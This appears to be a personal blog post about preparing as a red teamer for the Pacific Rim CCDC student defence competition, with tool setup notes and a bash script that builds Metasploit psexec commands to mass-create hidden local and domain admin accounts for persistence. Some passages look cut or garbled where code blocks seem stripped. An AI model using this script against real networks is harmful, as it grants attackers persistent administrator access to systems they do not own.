I had the opportunity to take part in the Pacific Rim CCDC this past weekend and it was a BLAST! It was my first CCDC, so I really didn’t know what to expect. I did know that the last thing I would want to be doing is installing and configuring tools during test time.
I err’d on the side of installing tools I may not use rather than not installing something I would need. I’ve got a goto script I use for my setting up a Kali VM and customizing. It installs a ton of tools and scripts that I use. The script can be found here.
Then, I made some manual tweaks:
/etc/gdm3/daemon.conf
msfconsole='msfconsole -r /msfconsole.rc'
* * * * * /payload_gen.sh
to crontabNext up was loading up on wordlists. I rounded up the usual suspects (Cain, John, RockYou, etc) but I knew I would want to add some inconspicuous user accounts and mess with the Blue Team’s host file. To accomodate, I found lists of the top 10,000 US last names and internet domain names. I ended up just whipping up a slightly taunting list of 10 usernames that I used day of, but if I needed 10k usernames I had them.
I wrote a quick bash script to create a Metasploit resource script and batch file that creates new local users and add them to the local admin group for persistence sake.
#!/bin/bash
#by bluescreenofjeff
IFS=$'\n'
USERLISTFILE='/root/Desktop/users.txt'
PASSVAR='StrongPassword1'
OUTFILELOCAL='mass_user_add_local.rc'
OUTBATLOCAL='mass_user_add_local.bat'
OUTFILEDOMAIN='mass_user_add_domain.rc'
OUTBATDOMAIN='mass_user_add_domain.bat'
#BAT Output - local
for CURRUSER in `cat $USERLISTFILE`
do
echo net user $CURRUSER /add /active:yes\ >> $OUTBATLOCAL
echo net user $CURRUSER $PASSVAR >> $OUTBATLOCAL
echo net localgroup administrators $CURRUSER /add >> $OUTBATLOCAL
done
#BAT to RC - local
echo 'use auxiliary/admin/smb/psexec_command' >> $OUTFILELOCAL
for EACH in `cat $OUTBATLOCAL`
do
echo set command \" $EACH \" >> $OUTFILELOCAL
echo run >> $OUTFILELOCAL
done
#BAT Output - domain
for CURRUSER in `cat $USERLISTFILE`
do
echo net user $CURRUSER /add /active:yes /domain >> $OUTBATDOMAIN
echo net user $CURRUSER $PASSVAR /domain >> $OUTBATDOMAIN
echo net localgroup administrators $CURRUSER /add /domain >> $OUTBATDOMAIN
echo net group "Enterprise Admins" $CURRUSER /add /domain >> $OUTBATDOMAIN
echo net group "Enterprise Admins" $CURRUSER /add /domain >> $OUTBATDOMAIN
done
#BAT to RC - domain
echo 'use auxiliary/admin/smb/psexec_command' >> $OUTFILEDOMAIN
for EACH in `cat $OUTBATDOMAIN`
do
echo set command \" $EACH \" >> $OUTFILEDOMAIN
echo run >> $OUTFILEDOMAIN
done
Most of the Red Teamers used Cobalt Strike Team Servers as their base of operations, but since I haven’t used it that much and didn’t want to potentially get shut out of my target boxes because of learning curve. I decided to stick with msfconsole as my main tool for the weekend. My main goal in preparation was to get as much of the time-wasting stuff automated as possible.
file:///path/to/wordlist
on line 4.The biggest prep item was getting a solid copy/paste command list ready. This was a big focus point of the Red Team this year since the goal was to attack Blue Teams with the same attacks at roughly the same times. The command list has been reposted by Action Dan here.
In the time leading up to the official start, I pasted every single command from Phase 1’s attacks into their own consoles so once the Red Team gets the go-ahead all you have to do is hit enter.
Though this was my first rodeo, I knew that there would be opportunities to deface some web interfaces and I wanted to be ready to bring some lulz. This is what I settled on:
Looking back now, I should have also gathered some nice gifs about patching or host hardenening.
As I mentioned I had a blast this year and hope to attend again next year. Before then there are a few scripts I’d like to have written and in-hand before go-time:
If I had to give one piece of advice to a first time Red Teamer, my suggestion is to prepare as much as possible. The LAST thing you want to be doing during the competition is Googling how to run an exploit or how to add yourself to the local admin group. That’s not to say you’ll avoid it completely– you most likely won’t – but you want to minimize searching time down to things that are unique to the environment at hand. Automate the basic stuff that takes time, copy/paste the rest.